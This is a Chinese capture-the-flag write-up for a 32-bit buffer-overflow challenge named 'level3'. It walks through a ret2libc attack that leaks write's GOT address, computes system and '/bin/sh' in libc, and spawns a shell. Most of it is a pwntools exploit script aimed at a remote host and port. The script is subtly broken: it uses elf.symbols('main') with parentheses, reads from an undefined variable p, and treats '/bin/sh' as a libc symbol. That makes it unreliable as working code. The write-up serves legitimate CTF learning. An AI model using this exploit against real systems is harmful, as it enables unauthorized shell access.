这个题做的蛮久的,老样子,基本操作来一遍
通过ida分析后,没有system函数,也没有/bin/sh这样的字眼,但题目给了一个动态库,于是我们可以通过另一个库,来调出system(/bin/sh),
两个调用的动态函数库相同,所以write函数和system函数之间的地址差值是相同的,所以我们的目的是求出差值。我们最后要求出system的真实地址。
所以构造的第一个payload就是为了得出write函数的真实的地址,通过write的真实地址,就可以得到动态函数中write和symtem的真实地址。
esp:寄存器存放当前线程的栈顶指针
ebp:寄存器存放当前线程的栈底指针
eip:寄存器存放下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,然后继续执行。
from pwn import *
kubopiy=remote("220.249.52.133",42657)#进行连接
elf = ELF("./level3")
libc=ELF('./libc_32.so.6')
#获取lib库对象
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr = elf.symbols('main')
payload='a'*(0x88+0x04)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
#填入垃圾字符,用plt调用write函数,使之该函数结束的时候返回到main函数进行第二次攻击,后面三个是write函数的三个参数,就能得到write函数的真实地址
kubopiy.recvuntil("Input:
")#第一次攻击
kubopiy.sendline(payload)
write_got_addr=u32(p.recv())#u32解包,得到write的真实地址
sys_base=write_got_addr-libc.symbols['write']
system_addr=sys_base+libc.symbols['system']
bin_addr=sys_base+libc.symbols['/bin/sh']
kubopiy.recvuntil("Input:
")#第二次攻击
payload='a'*(0x88+0x04)+p32(system_addr)+'a'*(4)+p32(bin_addr)
kubopiy.sendline(payload)
kubopiy.interactive()